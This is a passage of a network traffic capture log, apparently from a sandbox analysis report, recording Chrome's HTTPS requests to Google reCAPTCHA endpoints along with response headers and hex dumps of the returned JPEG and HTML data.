VEkPOUeWTZN0I62YFDkGnFEQoDJdy-Ew_Db1g5RvRU7uk-5jSEs7pSi9wRB435WgVp-13eRPolVTTn4iXQIKmhZgnaw-H541TF-Gh6LNUyvUWQsmDtXdBHY",null,600,["pmeta",["/m/0k4j",null,3,3,3,null,"bus"],null,[1]],"dynamic",null,["bgdata","Ly93d3cuZ29vZ2xlLmNvbS9qcy9iZy82Sks3UGtoUVBqZ0
2024-04-24 12:45:23 UTC	1255	IN	Data Raw: 4f 46 4a 4a 64 6c 52 51 52 44 4a 34 62 6d 55 32 5a 47 35 4d 55 55 74 6e 62 44 56 33 57 6b 64 79 55 6c 4d 78 56 57 68 48 51 33 4e 78 64 30 4e 73 4e 30 52 58 53 47 56 44 61 6c 6c 42 59 31 55 76 52 32 4e 59 64 6d 46 7a 54 54 68 55 64 58 6c 31 55 30 5a 78 5a 30 39 6d 59 6d 34 30 51 56 70 69 64 6b 78 49 55 47 74 6a 4b 33 70 52 55 30 74 72 4c 33 45 78 55 6a 56 4a 53 6d 70 53 63 32 6b 77 5a 6b 35 44 61 48 70 6b 61 30 5a 79 54 55 31 53 56 48 56 79 54 6d 52 6f 61 57 52 6b 63 45 56 6b 57 47 4e 59 65 6b 34 30 65 48 6c 6a 63 47 5a 58 52 57 5a 74 4e 44 55 31 4f 44 4a 44 4e 6b 70 6b 4d 6c 68 59 52 45 68 57 4d 56 6f 30 4d 6b 74 57 63 45 70 6c 53 32 6c 77 57 6e 55 30 52 54 64 51 53 6b 64 79 53 48 67 31 4f 44 49 32 65 58 6b 77 56 57 30 33 59 57 46 47 52 32 31 55 64 33 6c Data Ascii: OFJJdlRQRDJ4bmU2ZG5MUUtnbDV3WkdyUlMxVWhHQ3Nxd0NsN0RXSGVDallBY1UvR2NYdmFzTThUdXl1U0ZxZ09mYm40QVpidkxIUGtjK3pRU0trL3ExUjVJSmpSc2kwZk5DaHpka0ZyTU1SVHVyTmRoaWRkcEVkWGNYek40eHljcGZXRWZtNDU1ODJDNkpkMlhYREhWMVo0MktWcEplS2lwWnU0RTdQSkdySHg1ODI2eXkwVW03YWFGR21Ud3l

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
313	192.168.2.4	50184	142.250.141.103	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:23 UTC	610	OUT	GET /recaptcha/api2/reload?k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09AKPP-6dwJDGtGybsoZY_Q_MXAImDL7mxroFCc2cKK7bGllH98hNIqJO8aphdHNZWrdb20ch2A0s4i636y8x6D3Y
2024-04-24 12:45:23 UTC	518	IN	HTTP/1.1 405 HTTP method GET is not supported by this URL Content-Type: text/html; charset=UTF-8 Date: Wed, 24 Apr 2024 12:45:23 GMT Expires: Wed, 24 Apr 2024 12:45:23 GMT Cache-Control: private, max-age=0 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-24 12:45:23 UTC	244	IN	Data Raw: 65 65 0d 0a 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 48 54 54 50 20 6d 65 74 68 6f 64 20 47 45 54 20 69 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 20 62 79 20 74 68 69 73 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 21 2d 2d 20 47 53 45 20 44 65 66 61 75 6c 74 20 45 72 72 6f 72 20 2d 2d 3e 0a 3c 48 31 3e 48 54 54 50 20 6d 65 74 68 6f 64 20 47 45 54 20 69 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 20 62 79 20 74 68 69 73 20 55 52 4c 3c 2f 48 31 3e 0a 3c 48 32 3e 45 72 72 6f 72 20 34 30 35 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d 0a Data Ascii: ee<HTML><HEAD><TITLE>HTTP method GET is not supported by this URL</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">... GSE Default Error --><H1>HTTP method GET is not supported by this URL</H1><H2>Error 405</H2></BODY></HTML>
2024-04-24 12:45:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
314	192.168.2.4	50185	142.250.101.99	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:23 UTC	1174	OUT	GET /recaptcha/api2/payload?p=06AFcWeA6HqRKdznOsNWnGT6s2R1vIGYXXOMOTlBKVjMTyP_UpaucCrkDbZGEHIUyXYHmbt5PY6GL53FBaGX90hGIy88iXirvHC4Kd7ciUjQNNVZIcDdHqGWfQf2mQwV_EVgeF0QHIwndFlJ7ZkvDUs6iuRrq7hrL6YNxAD5htAZhHK98PzxZqpHgnvF1gsGyPgW9nM5hejO8Fy7-zO0SvynECArkwhxvBXw&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.google.com/recaptcha/api2/bframe?hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09AKPP-6dwJDGtGybsoZY_Q_MXAImDL7mxroFCc2cKK7bGllH98hNIqJO8aphdHNZWrdb20ch2A0s4i636y8x6D3Y
2024-04-24 12:45:23 UTC	419	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Expires: Wed, 24 Apr 2024 12:45:23 GMT Date: Wed, 24 Apr 2024 12:45:23 GMT Cache-Control: private, max-age=30 Transfer-Encoding: chunked X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-24 12:45:23 UTC	6	IN	Data Raw: 37 36 32 46 0d 0a Data Ascii: 762F
2024-04-24 12:45:23 UTC	1255	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 02 00 00 01 00 01 00 00 ff db 00 43 00 05 03 04 04 04 03 05 04 04 04 05 05 05 06 07 0c 08 07 07 07 07 0f 0a 0b 09 0c 11 0f 12 12 11 0f 11 10 13 16 1c 17 13 14 1a 15 10 11 18 21 18 1a 1c 1d 1f 1f 1f 13 17 22 24 22 1e 24 1c 1e 1f 1e ff db 00 43 01 05 05 05 07 06 07 0e 08 08 0e 1e 14 11 14 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e ff c0 00 11 08 01 c2 01 c2 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIFC!"$"$C"}!1AQa"q2
2024-04-24 12:45:23 UTC	1255	IN	Data Raw: 99 c6 d3 9c d7 62 da 5c 58 e1 69 53 48 8f 6e fc 73 55 ed 11 9b 47 33 17 da b1 92 31 53 46 d3 87 1c fc bd f8 ae 85 74 f4 e9 8a 99 74 e8 c2 e0 ae 6b 37 2b 92 91 8d f6 c0 b1 6d 03 27 d6 a9 f9 d2 7d a5 64 66 ca d6 fc d6 11 a8 ce d1 59 5a a2 c7 04 79 db 8a 2e cd e2 ec 46 b7 8e 5c 83 c0 3d 2a 3b 92 c5 14 81 f3 13 54 64 be 8d 70 71 44 da 82 c9 b7 1d ab 44 6b cd a1 7a de d2 49 58 16 5e 2b a3 d1 d1 20 70 00 cb 62 b9 7b 2d 40 82 06 6b 72 d6 f1 54 6f cf 34 49 5c ca 4e e7 44 24 41 d7 83 4d 6b a3 f7 41 e2 b1 0e a0 0f 7a 45 bd cb 63 35 2a 36 33 b9 a7 77 7d c6 c5 39 35 97 67 0b 4b 7e 19 86 0e 78 a2 37 12 ca c7 d2 a7 d1 1b cc d4 70 7b 1a b6 84 f4 36 c5 a6 4f cc 31 4a 6d 76 fd d1 5a 45 06 68 08 2a 1a 16 e5 0f b3 3f f7 4d 15 7a 8a 92 8f 58 8d 22 45 dc 41 a6 5c f9 73 59 c8 Data Ascii: b\XiSHnsUG31SFttk7+m'}dfYZy.F\=;TdpqDDkzIX^+ pb{-@krTo4I\ND$AMkAzEc563w}95gK~x7p{6O1JmvZEh*?MzX"EA\sY
2024-04-24 12:45:23 UTC	1255	IN	Data Raw: dc ab 9b 49 7a ff 00 74 ff 00 85 61 37 a9 a5 92 56 2d c2 0a 32 0c 1e 45 6a 6d ca 0a d3 4d 06 fa 44 8f 6d 9c 87 68 c1 f9 4f f8 56 9d a7 86 b5 06 03 fd 0e 4f c8 d6 0d 12 d2 39 db 68 f0 4f 15 36 c1 e9 5d 54 7e 11 d5 1f ee 59 c9 f9 1a b1 17 82 35 67 eb 6b 27 e4 6a 2c 2d 0e 3e 35 01 b3 8a c7 f1 14 8b c0 c5 7a 82 78 03 57 6f b9 6a f9 fa 56 7e a5 f0 bf 5c 9c e7 ec 6f f9 7f f5 aa e0 8c db 3c ce c6 dc b1 57 03 8a b4 2d cb be 31 5e 93 a6 fc 2e d7 7c bf 2b ec ae a4 f7 c7 ff 00 5a b5 ed 3e 10 eb d2 75 8c 8f c3 ff 00 ad 5a ca 01 16 8f 20 93 4f f6 aa b2 69 ce 09 2b 5e f3 0f c1 4d 6d dd 77 03 8c f2 2a db fc 0d d4 3f b8 6a 1a 66 aa 48 f9 f7 4e 85 e3 9c 6e f5 ae 9a 14 07 1c 57 ab 8f 81 7a 87 98 a4 a1 1c 8e 6b a3 83 e0 94 c0 0f de 8e 95 36 b9 5c f1 ea 78 53 44 31 4d f2 c5 Data Ascii: Izta7V-2EjmMDmhOVO9hO6]T~Y5gk'j,->5zxWojV~\o<W-1^.\|+Z>uZ Oi+^Mmw*?jfHNnWzk6\xSD1M
2024-04-24 12:45:23 UTC	333	IN	Data Raw: 2b 1d 2a f9 c4 ca 26 39 c1 cf 34 94 6c 44 ae 79 af ed 2d ae 9b ef 13 0b 62 72 91 7c b8 af 1e d5 a0 26 c2 59 14 60 11 5d 0f 8c 75 11 ad 78 8e e2 e5 99 99 4b 92 09 ac 1d 72 4c 58 3a ae 71 8a 89 1d 34 96 9a 9c 14 05 be d0 eb ef 56 da 33 18 0e dd eb 30 b6 db 86 3b b0 73 56 7e d9 88 f6 b1 cf d6 92 1c 96 a2 6a 2e 24 4d a2 b3 93 83 b6 ad 33 ee c9 c5 53 79 31 37 4a 69 89 22 75 35 21 1b 97 15 12 38 23 a5 45 3b 3a 82 41 3c 55 26 5a 48 96 79 0a e1 2b a2 f0 4b 95 9c 57 31 29 66 45 3b 79 ae a7 c1 64 19 97 81 9c d3 6c ce 47 7d 14 84 9a 91 98 9a 8e 21 b1 8b b6 31 55 a4 ba 89 ee 36 ef c7 3d ab 16 88 45 bd 92 fa 9a 29 01 18 fb e6 8a ab 0c f1 15 0c 5b 0b 9a b0 8a c3 86 eb 51 2b 6d 39 5e 2a c4 64 bc 7b 89 c9 ae 96 f4 0b 5c 7a 0a 9e 33 b5 48 aa c9 bb 35 38 19 15 8c ae c8 7a Data Ascii: +&94lDy-br\|&Y`]uxKrLX:q4V30;sV~j.$M3Sy17Ji"u5!8#E;:A<U&ZHy+KW1)fE;ydlG}!1U6=E)[Q+m9^d{\z3H58z
2024-04-24 12:45:23 UTC	1255	IN	Data Raw: 61 93 52 88 8e 0f 15 a2 35 8b b9 05 19 c1 07 d2 95 d1 96 9d 1e dd c3 23 3c d5 a2 ef 63 a7 f0 1d 81 d5 35 eb 58 e3 5c 92 e0 1f ce be fc f8 75 a4 c3 a1 78 62 da 2f 95 37 20 27 b7 6a f8 17 c1 fa a3 69 1a 8a dd 45 85 65 39 15 e9 37 7f 18 bc 4f 24 49 0a 5d 9f 29 46 00 dd 56 a3 cc 67 3a 92 96 c7 da 7e 7c 39 cf 9b 1f e7 41 bb b7 1d 67 8f f3 af 87 0f c5 9f 12 19 31 f6 e6 03 fd ea 82 7f 8a 5e 25 df 91 7e f8 ff 00 7a a9 d1 b7 51 45 48 fb 86 e3 58 d3 a0 ff 00 59 75 18 fc 6a 11 e2 3d 20 f4 bc 8f f3 af 86 6e 3e 22 6b 93 e7 cd d4 24 39 ed ba aa 1f 1c 6a ff 00 c3 7b 27 fd f5 52 e9 2e e5 da 47 dd cf e2 5d 15 4e 1a f2 3c fd 6a 27 f1 66 86 bd 6f 63 fc eb e0 f9 3c 65 ad b3 16 fb 74 98 3f ed 1a 8c f8 c3 55 fe 2b a7 3f f0 23 4b d9 93 cb 36 7d d1 79 e3 cf 0d db 36 d9 2f 94 1c Data Ascii: aR5#<c5X\uxb/7 'jiEe97O$I])FVg:~\|9Ag1^%~zQEHXYuj= n>"k$9j{'R.G]N<j'foc<et?U+?#K6}y6/
2024-04-24 12:45:23 UTC	1255	IN	Data Raw: 9f 52 d0 14 f1 71 1e 3e b5 0b ea fe 1e 1d 66 8f f3 aa 75 5a 2a 32 97 63 ca 23 f0 13 9e 58 12 7e 95 6a 1f 01 7f b1 5e 8b 2e bd a0 23 e1 66 4c 7d 6a 07 f1 3e 86 9d 26 4f ce a1 d5 65 5a 6f a1 c4 af 81 a3 4e 1a 3c fe 14 f5 f0 44 3f f3 cb f4 ae ba 5f 18 e8 b1 f4 74 6a 8d 7c 6f a3 e3 24 ad 66 ea 48 a4 a5 d8 e6 e0 f0 3c 1b 8f ee bf 4a 98 78 26 01 ff 00 2c 87 e5 5a 97 1f 10 34 b4 3f 26 d3 f4 aa 72 fc 42 b4 3f 71 45 25 39 77 1f b3 6f 52 24 f0 6c 20 fc b0 86 3e 98 a9 93 c1 f1 0f f9 74 15 51 fe 20 28 e5 70 2a bc bf 11 19 7a 1a 7c f2 ee 43 83 36 62 f0 9c 5b 87 fa 28 06 ac 2f 85 23 1f f2 ee bf a5 72 8f f1 1e 76 3b 53 83 50 c9 f1 0e f8 0e 1e 9a 93 ee 4f 23 67 6c be 19 89 79 16 eb 91 f4 a9 17 40 1d e0 51 f9 57 9e b7 c4 4d 4c 9c 2b f2 7a 54 0f e3 ed 6c b6 32 71 4e ef b9 Data Ascii: Rq>fuZ2c#X~j^.#fL}j>&OeZoN<D?_tj\|o$fH<Jx&,Z4?&rB?qE%9woR$l >tQ (pz\|C6b[(/#rv;SPO#gly@QWML+zTl2qN
2024-04-24 12:45:23 UTC	1255	IN	Data Raw: 52 a7 87 ae 33 f3 02 6b e8 c9 7c 1f a3 c2 81 a4 6d 83 b9 a6 c1 e1 8d 16 47 db 0c 88 e3 eb 58 cb 34 be c4 4a 29 6e 7c f6 9e 1e 93 3c 21 cf d2 a5 5f 0d ce df f2 cc fe 55 f4 34 be 1a d1 ec ff 00 79 36 c0 07 ad 59 83 42 d1 de 01 34 21 19 7b d2 59 a3 b5 c4 a1 d8 f9 d0 78 52 73 82 23 6c fb 0a 99 3c 1f 78 79 f2 e4 fc ab e8 01 16 80 b3 18 09 8c 3f 6f ad 58 bb b7 d2 ec 23 0f 70 63 55 61 f2 9c d3 fe d1 9c b6 2d 68 ec 7c f9 1f 83 af 1b fe 59 49 f9 55 84 f0 5d e9 ff 00 97 69 07 e1 5e de da 9e 85 0c 45 d5 a2 2e 3a 0c d4 31 f8 9f 48 21 8e d8 c6 2b 27 98 d4 be 87 47 b1 9f 44 78 f2 78 16 fc 8e 20 93 f2 a7 49 e0 6b d8 c8 f2 ed 8f be 56 bd 75 7c 59 a6 97 0b f2 00 7d 0d 3f 58 f1 3d 8d b5 b0 74 11 b1 6f 7a b5 8a ad 55 e8 67 5a 9c e0 b5 3c 5a f3 c3 cf 6c bb 27 40 a7 e9 51 da Data Ascii: R3k\|mGX4J)n\|<!_U4y6YB4!{YxRs#l<xy?oX#pcUa-h\|YIU]i^E.:1H!+'GDxx IkVu\|Y}?X=tozUgZ<Zl'@Q
2024-04-24 12:45:23 UTC	1255	IN	Data Raw: b7 e1 5d f5 b3 69 66 02 c0 38 5f 4e b5 9e 2a 82 50 b9 8e 2e 9c 54 53 39 5f 89 7e 29 ba 5b e9 2c e0 dc 83 3d 6b 13 c1 ba f5 d2 ea 51 c5 e6 b3 33 37 22 a2 f8 a5 70 cd e2 16 8e 24 c1 07 9e 3a d6 5e 83 75 1d 85 e2 dc 14 f9 85 6b 84 c2 c6 74 ee d9 bd 2c 34 27 4a ec f4 1f 89 7a b3 c3 14 08 65 2a ce 39 00 d5 bf 87 7a b2 5c e9 6f 6b 2c 84 b9 1c 57 9d 78 bf 53 93 58 95 1b 3c 8e 95 77 c1 97 b2 69 da 94 66 41 f2 0e b5 10 c2 a7 75 71 2c 24 5c 6e 89 bc 56 f3 d8 f8 80 91 33 0f 9b 22 ab f8 8b c4 53 ea 90 45 6e 26 60 63 18 a8 be 23 6a 0b 77 ac 2c d6 fc 8e e0 57 39 13 4a f7 01 82 95 07 ad 76 d2 a1 4e 0b 53 b3 0d 84 a5 6b c8 db 30 ca 6c 7e d2 d2 b7 1c 54 96 d6 ee fa 7c 93 07 3d 3d 6a 59 6e 13 fb 28 5b ed e4 f7 a8 e1 bc 8e da c1 ed c0 de c6 b5 54 69 b9 68 4c ea 52 85 cc cb Data Ascii: ]if8_NP.TS9_~)[,=kQ37"p$:^ukt,4'Jze9z\ok,WxSX<wifAuq,$\nV3"SEn&`c#jw,W9JvNSk0l~T\|==jYn([TihLR
2024-04-24 12:45:23 UTC	1255	IN	Data Raw: 7d b4 e9 7c 6b 6f 21 1b 2d 48 fc 2a e3 42 b2 e8 4a cd 4f 2b 6f 06 eb 33 5f bc a6 dd 87 39 e9 5e 87 f0 db c3 b7 96 73 97 9d 18 2e 39 ad 47 f1 64 45 14 c5 6c 43 7f 17 15 08 f1 83 c7 91 1c 24 67 da 95 6c 1d 5a 8b 63 3a d8 e5 56 c6 4f 8f 7c 11 36 a5 7e d7 76 eb 83 9e 4d 63 59 fc 34 b8 b8 84 97 7c 30 ae ab fe 12 9b c9 15 94 af 06 ab af 88 af 23 cf de e7 d2 9d 0c 1d 68 2b 58 af ed 0e 58 da 2c c7 d3 3e 19 48 24 3e 6c 83 03 d6 9f 2f c3 b9 fe d5 91 30 08 3b e6 b5 17 c4 d7 2a 0e e2 dc fa 53 0e bf 77 30 da 9b c0 f7 ab 8e 06 b2 96 c3 fe d2 69 59 14 a2 f8 63 1c b2 96 92 e0 1c fa 9a b5 27 c3 2b 68 d0 05 95 7f 3a 49 b5 ab d8 c0 55 67 cf 7e 69 0e b5 7f 20 e2 46 18 f5 35 ac b0 15 59 8c f3 3a 8b 44 4b ff 00 0a fa c2 38 71 35 ca 83 db 9a e7 75 cf 0f d9 69 97 31 5a db e2 79 Data Ascii: }\|ko!-HBJO+o3_9^s.9GdElC$glZc:VO\|6~vMcY4\|0#h+XX,>H$>l/0;Sw0iYc'+h:IUg~i F5Y:DK8q5ui1Zy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
315	192.168.2.4	50187	142.250.101.99	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:24 UTC	1152	OUT	GET /recaptcha/api2/payload?p=06AFcWeA6hHP6s1zynjYsXVufOgf4V29uZVjpCw0OhsZUN6GyY38r3KkHPQ-Fq3ZWwTNzx3gUyqIypGujbxTukbAXfsYdudixMkyZUEiNN3Yt2dQbAnrHduECGQR9eAbsvKZQ8dhU7AiV-HNFnqAvMHj9zq3uY1wur7d0zk9ON6jCU29x8XEjlN9daEWeTuLL7A00ipd4AF-Mt&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.google.com/recaptcha/api2/bframe?hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09AKPP-6df3iLGsJeeL1ZhHsDkSUGdkAxFQ0QUTQ5TeldRivfX23JUPR2AxDr3G7Qouv7-NQQVq71Tl6HC3imi85E
2024-04-24 12:45:24 UTC	419	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Expires: Wed, 24 Apr 2024 12:45:24 GMT Date: Wed, 24 Apr 2024 12:45:24 GMT Cache-Control: private, max-age=30 Transfer-Encoding: chunked X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-24 12:45:24 UTC	6	IN	Data Raw: 41 33 42 36 0d 0a Data Ascii: A3B6
2024-04-24 12:45:24 UTC	1255	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 02 00 00 01 00 01 00 00 ff db 00 43 00 05 03 04 04 04 03 05 04 04 04 05 05 05 06 07 0c 08 07 07 07 07 0f 0a 0b 09 0c 11 0f 12 12 11 0f 11 10 13 16 1c 17 13 14 1a 15 10 11 18 21 18 1a 1c 1d 1f 1f 1f 13 17 22 24 22 1e 24 1c 1e 1f 1e ff db 00 43 01 05 05 05 07 06 07 0e 08 08 0e 1e 14 11 14 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e ff c0 00 11 08 01 2c 01 2c 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIFC!"$"$C,,"}!1AQa"q2
2024-04-24 12:45:24 UTC	1255	IN	Data Raw: 52 59 d4 a4 2b 23 23 19 77 b9 c9 55 18 cf 4e 3a 75 aa 9d 78 f2 6f 6d 36 08 53 69 b4 e3 a7 f5 e8 6f 2f 8a b5 7f 29 20 b6 f0 a6 a7 70 ca 03 32 b4 89 f2 ee 0b 8c 6e 6f 98 77 3e 95 8f ab fc 48 b8 d3 3c e8 db c3 ec b2 07 58 fe ca 65 59 24 57 63 c0 0a a4 81 c8 c6 78 e4 7d 33 5b 46 d5 75 fb a5 d0 e3 d1 6f ed 60 92 6b 4b 8b 9b a8 ae d7 22 61 0c e2 33 df 71 65 52 47 1e 9d 78 ae af c2 1a 93 6a 93 6a 2f 2e a6 6d e4 9a 60 3c 92 10 ed 65 c8 6e 33 ca 8d a4 0c 12 70 0e 40 c0 a8 bb 9d 94 a6 d5 ff 00 e1 fe ff 00 bf b9 d0 dc 62 dc d5 35 6d 9e ff 00 d6 9a db e6 79 d4 fe 2c bc f1 4a 93 77 a4 c7 6a b6 a7 ab 9c 96 2f f3 1c 74 c0 05 71 d3 3c e3 8e b5 0e d7 92 51 2e 4c aa 06 0e d2 0e 71 c6 32 4e 71 f7 87 38 cf 3d eb d0 3e 27 ed f3 b4 f8 11 dc 48 ab 23 b2 2a a8 0b c0 e7 39 1f e1 Data Ascii: RY+##wUN:uxom6Sio/) p2now>H<XeY$Wcx}3[Fuo`kK"a3qeRGxjj/.m`<en3p@b5my,Jwj/tq<Q.Lq2Nq8=>'H#*9
2024-04-24 12:45:24 UTC	1255	IN	Data Raw: 61 62 12 40 d8 0a 54 22 80 bc 90 72 c7 93 c7 53 91 c8 fa d7 8a e9 ad c2 98 a1 61 2a 67 cb 84 bf 97 85 2d 91 92 3a 74 24 2e 73 f4 ad 21 8c 94 12 be ab fa f3 b7 df ea 5d d6 8b a2 d6 fe 9b 35 7d 15 bc ee bb b3 e8 8b c6 b8 96 e3 cb 87 cb 77 b7 8d 59 3e 6c a2 4a 4b 1d cc 48 27 20 7f 09 1d 08 eb 4d b5 b5 9a 36 36 4b 23 08 d0 e6 44 c9 65 08 a0 93 b4 e3 23 2c 71 d0 f4 27 8a f1 4d 17 c6 ba 8e 97 08 b0 92 ed ae 8c e1 90 06 7c 33 a9 c8 7c 31 dc 4f 1c 8f 66 ee 2b ab b3 f1 d5 83 69 e1 35 1d 0d e5 8e dc 9f 39 e4 ba 67 62 80 f0 0a f0 0e 54 f2 2b a9 56 8d 9d dd ba 2d 16 f7 df cf 56 28 41 c3 6d 75 df ad fb ef af af 5d 0f 4d b1 9a 11 77 20 be ba 58 f7 38 91 e2 76 c4 64 16 01 54 67 01 86 d0 b9 1e c3 d7 15 76 09 22 32 e6 dc ce f3 0f ba f1 ac 8c a4 90 a4 e4 b0 f9 72 49 f5 ef Data Ascii: ab@T"rSa*g-:t$.s!]5}wY>lJKH' M66K#De#,q'M\|3\|1Of+i59gbT+V-V(Amu]Mw X8vdTgv"2rI
2024-04-24 12:45:24 UTC	333	IN	Data Raw: 2c 76 f1 95 4e 13 07 72 8f 94 8e bc 73 d7 9e fc 9a d1 d6 f5 2b 5f 0f e9 72 ea 37 70 cc d1 2b 2c 7b 37 2a f0 cd 81 8c e0 11 92 4f 07 8c 71 ed 89 6d a6 de 78 66 72 2c 6d 64 be 9a e4 2a 37 99 b6 32 14 65 46 38 fb b9 66 fc 0f 7a 4b db db cd 42 28 74 fb 8d 16 d5 a3 59 44 84 3c d8 5d c0 86 00 00 79 19 51 d3 3d 3d 2b d9 c1 d6 84 68 28 eb d7 bf 99 e4 e2 21 cf 57 9d e9 ff 00 01 7c ba f9 16 0d 9a 5d f8 36 dd 92 e6 e1 25 df e6 6e 8e 66 fe 1e 76 fb e4 f1 c7 1c 9e 47 5a d5 9e 2b 25 92 e1 19 8a c6 cb 12 86 5e bf 3b 32 95 07 3c 1e 47 4c e3 02 b0 34 cb dd 59 74 2b 48 62 d3 63 41 22 b0 57 f3 bf 78 c8 cc 48 20 63 e5 c7 cb eb eb da a6 79 3c 4f a9 b9 79 2d 2c e0 59 91 48 0e 7c c2 8e 84 90 c4 e3 8c 33 03 c7 3c 57 73 ad 06 9b fe b7 25 d1 9e 96 be fd cd a9 d7 4c b6 b7 b4 86 57 Data Ascii: ,vNrs+_r7p+,{7Oqmxfr,md72eF8fzKB(tYD<]yQ==+h(!W\|]6%nfvGZ+%^;2<GL4Yt+HbcA"WxH cy<Oy-,YH\|3<Ws%LW
